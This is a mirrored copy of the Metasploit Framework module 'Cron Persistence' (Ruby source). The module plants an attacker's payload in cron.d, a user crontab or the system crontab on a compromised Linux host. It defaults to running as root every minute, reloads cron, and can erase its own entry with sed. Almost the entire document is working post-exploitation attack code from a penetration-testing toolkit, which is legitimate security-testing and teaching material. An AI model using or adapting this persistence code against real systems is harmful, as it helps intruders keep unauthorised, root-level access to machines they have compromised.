Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/cron_persistence.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix
11
include Msf::Exploit::FileDropper
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Cron Persistence',
18
'Description' => %q{
19
This module will create a cron or crontab entry to execute a payload.
20
The module includes the ability to automatically clean up those entries to prevent multiple executions.
21
syslog will get a copy of the cron entry.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'h00die <[email protected]>'
26
],
27
'Platform' => ['unix', 'linux'],
28
'Targets' => [
29
[ 'Cron', { :path => '/etc/cron.d' } ],
30
[ 'User Crontab', { :path => '/var/spool/cron' } ],
31
[ 'System Crontab', { :path => '/etc' } ]
32
],
33
'DefaultTarget' => 1,
34
'Arch' => ARCH_CMD,
35
'Payload' => {
36
'BadChars' => "#%\x10\x13", # is for comments, % is for newline
37
'Compat' =>
38
{
39
'PayloadType' => 'cmd',
40
'RequiredCmd' => 'generic perl ruby python'
41
}
42
},
43
'DefaultOptions' => { 'WfsDelay' => 90 },
44
'DisclosureDate' => '1979-07-01',
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
} # Version 7 Unix release date (first cron implementation)
50
)
51
)
52
53
register_options(
54
[
55
OptString.new('USERNAME', [false, 'User to run cron/crontab as', 'root']),
56
OptString.new('TIMING', [false, 'cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']),
57
OptBool.new('CLEANUP', [true, 'delete cron entry after execution', true])
58
], self.class
59
)
60
end
61
62
def exploit
63
# https://gist.github.com/istvanp/310203 for cron regex validator
64
cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+'
65
cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+'
66
cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+'
67
cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'
68
cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*
69
# cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'
70
unless datastore['TIMING'] =~ /#{cron_regex}/
71
fail_with(Failure::BadConfig, 'Invalid timing format')
72
end
73
cron_entry = datastore['TIMING']
74
if target.name.include? 'User Crontab'
75
unless user_cron_permission?(datastore['USERNAME'])
76
fail_with(Failure::NoAccess, 'User denied cron via cron.deny')
77
end
78
else
79
cron_entry += " #{datastore['USERNAME']}"
80
end
81
flag = Rex::Text.rand_text_alpha(10)
82
cron_entry += " #{payload.encoded} ##{flag}" # we add a flag to the end of the entry to potentially delete it later
83
case target.name
84
when 'Cron'
85
our_entry = Rex::Text.rand_text_alpha(10)
86
write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n")
87
vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}")
88
if datastore['CLEANUP']
89
register_file_for_cleanup("#{target.opts[:path]}/#{our_entry}")
90
end
91
when 'System Crontab'
92
file_to_clean = "#{target.opts[:path]}/crontab"
93
append_file(file_to_clean, "\n#{cron_entry}\n")
94
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
95
when 'User Crontab'
96
file_to_clean = "#{target.opts[:path]}/crontabs/#{datastore['USERNAME']}"
97
append_file(file_to_clean, "\n#{cron_entry}\n")
98
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
99
# at least on ubuntu, we need to reload cron to get this to work
100
vprint_status('Reloading cron to pickup new entry')
101
cmd_exec("service cron reload")
102
end
103
print_status("Waiting #{datastore['WfsDelay']}sec for execution")
104
Rex.sleep(datastore['WfsDelay'].to_i)
105
# we may need to do some cleanup, no need for cron since that uses file dropper
106
# we could run this on a on_successful_session, but we want cleanup even if it fails
107
if file_to_clean && flag && datastore['CLEANUP']
108
print_status("Removing our cron entry from #{file_to_clean}")
109
cmd_exec("sed '/#{flag}$/d' #{file_to_clean} > #{file_to_clean}.new")
110
cmd_exec("mv #{file_to_clean}.new #{file_to_clean}")
111
# replaced cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}") in favor of sed
112
if target.name == 'User Crontab' # make sure we clean out of memory
113
cmd_exec("service cron reload")
114
end
115
end
116
end
117
118
def user_cron_permission?(user)
119
# double check we're allowed to do cron
120
# may also be /etc/cron.d/
121
paths = ['/etc/', '/etc/cron.d/']
122
paths.each do |path|
123
cron_auth = read_file("#{path}cron.allow")
124
if cron_auth
125
if cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/
126
vprint_good("User located in #{path}cron.allow")
127
return true
128
end
129
end
130
cron_auths = read_file("#{path}cron.deny")
131
if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/
132
vprint_error("User located in #{path}cron.deny")
133
return false
134
end
135
end
136
# no guidance, so we should be fine
137
true
138
end
139
end
140
141